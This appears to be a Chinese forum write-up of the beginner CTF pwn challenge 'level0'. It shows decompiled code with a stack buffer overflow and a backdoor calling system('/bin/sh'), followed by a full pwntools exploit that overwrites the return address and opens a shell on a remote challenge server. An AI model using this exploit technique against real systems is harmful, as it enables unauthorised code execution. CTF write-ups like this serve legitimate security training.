-
-
[原创]攻防世界PWN新手区:level0
-
2022-4-4 12:53 5178
-
题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell
一、基础信息探查:
还是老三样:
二、逆向分析:
1 2 3 4 5 | int __cdecl main( int argc, const char * * argv, const char * * envp) { write( 1 , "Hello, World\n" , 0xDuLL ); return vulnerable_function(); } |
主函数的逻辑很简单就是写一串字符串然后调用一个函数,跟进去看一下函数代码
1 2 3 4 5 6 | ssize_t vulnerable_function() { char buf[ 128 ]; / / [rsp + 0h ] [rbp - 80h ] BYREF return read( 0 , buf, 0x200uLL ); } |
这里看到了一个read函数,接收了512字节的字符串,这里很明显可以利用它覆盖return的值,那么接下来要考虑的就是要跳到哪里去了,可以看一下左边的函数列表:
发现这里有一个后门,查看代码
1 2 3 4 | int callsystem() { return system( "/bin/sh" ); } |
现在思路就很清晰了,通过read函数覆盖返回地址到callsystem函数
三、shellcode编写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * context(os = 'linux' ,arch = 'amd64' ,log_level = "debug" ) content = 0 elf = ELF( "level0" ) system_addr = elf.symbols[ "callsystem" ] #0x400596 def main(): if content = = 1 : io = process( "level0" ) else : io = remote( "111.200.241.244" , 53920 ) #建立连接 payload = b 'A' * ( 0x80 + 8 ) + p64(system_addr) io.recvuntil( "Hello, World\n" ) io.sendline(payload) io.interactive() if __name__ = = '__main__' : main() |
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
看原图